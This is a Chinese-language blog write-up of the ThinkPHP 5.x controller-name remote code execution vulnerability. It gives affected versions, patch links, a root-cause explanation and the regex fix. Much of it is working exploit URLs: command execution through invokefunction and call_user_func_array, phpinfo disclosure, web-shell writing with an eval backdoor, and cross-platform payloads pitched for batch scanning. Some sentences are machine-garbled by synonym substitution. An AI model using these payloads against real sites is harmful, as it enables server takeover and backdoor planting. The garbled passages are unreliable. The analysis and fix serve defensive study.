ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
影响范围
5.x < 5.1.31, <= 5.0.23
漏洞分析
Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
关于这次发明的oday毛病,我们来看下官方之前更新的代码文件是怎么样的,更新的步伐文件路径是library文件夹下的think目次里的app.php,关键代码如下图:
毛病产生的缘故原由就在于这个控制器这里,整个thinkphp框架里的功效对控制器没有进行严格的过滤与查找,使打击者可以伪造恶意参数举行逼迫插入,最基础的缘故原由就是正则的表达式写的欠好,导致可以绕过。
而我复现用的5.0.11版本是没有此正则的,
在修复之前程序未对控制器进行过滤,在controller获取控制器后,直接进行赋值,但是在修复之前程序并未对控制器进行严格的过滤,导致可以利用斜杠等特别标记来调用任意类方法进行长途代码注入。
这是5.0.11版本实例化一个个controller控制器,
再另一个版本中
使用了
$this->app->controller
方法来实例化控制器,然后调用实例中的方法。
路由url从Request::path()
中获取,由于var_pathinfo
的默认配置为s,我们可利用$_GET['s']
来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']
中的\替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/\namespace\class/method
,这将会实例化\namespace\class
类并执行method方法。
漏洞利用
docker漏洞环境源码:https://github.com/vulnspy/thinkphp-5.1.29
本地环境:thinkphp5.0.15+php5.6n+ apache2.0
http://www.thinkphp.cn/donate/download/id/1125.html
1.利用system函数远程命令执行
http://127.0.0.1/thinkphp5/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://127.0.0.1/thinkphp5/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls -l
可以直接查询到网站当前根目次的全部文件
2.通过phpinfo函数写出phpinfo()的信息
http://127.0.0.1/thinkphp5/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
3.写入shell提权
http://127.0.0.1/thinkphp5/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
或者
http://127.0.0.1/thinkphp5/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%3C?php%20@eval($_GET[%22code%22])?%3E%3Eshell.php
漏洞修复
5.1版本
thinkphp/library/think/route/dispatch/Url.php 类的parseUrl方法,解析控制器后加上 添加
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
![image](http://upload-images.jianshu.io/upload_images/9113981-e5cf93d6a51ce2da?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
5.0版本
thinkphp/library/think/App.php 类的module方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
兼容多平台的payload
由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。
一下是网上找的一师傅搜集的payload
那么哪些payload是可以兼容多个平台呢?
由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。
5.1是下面这些:
think\Loader
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File
5.0 的有:
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader
两个版本公有的是:
think\Route
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log
本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)
所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。
比如:
5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=
5.0.x php版本>=5.4
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()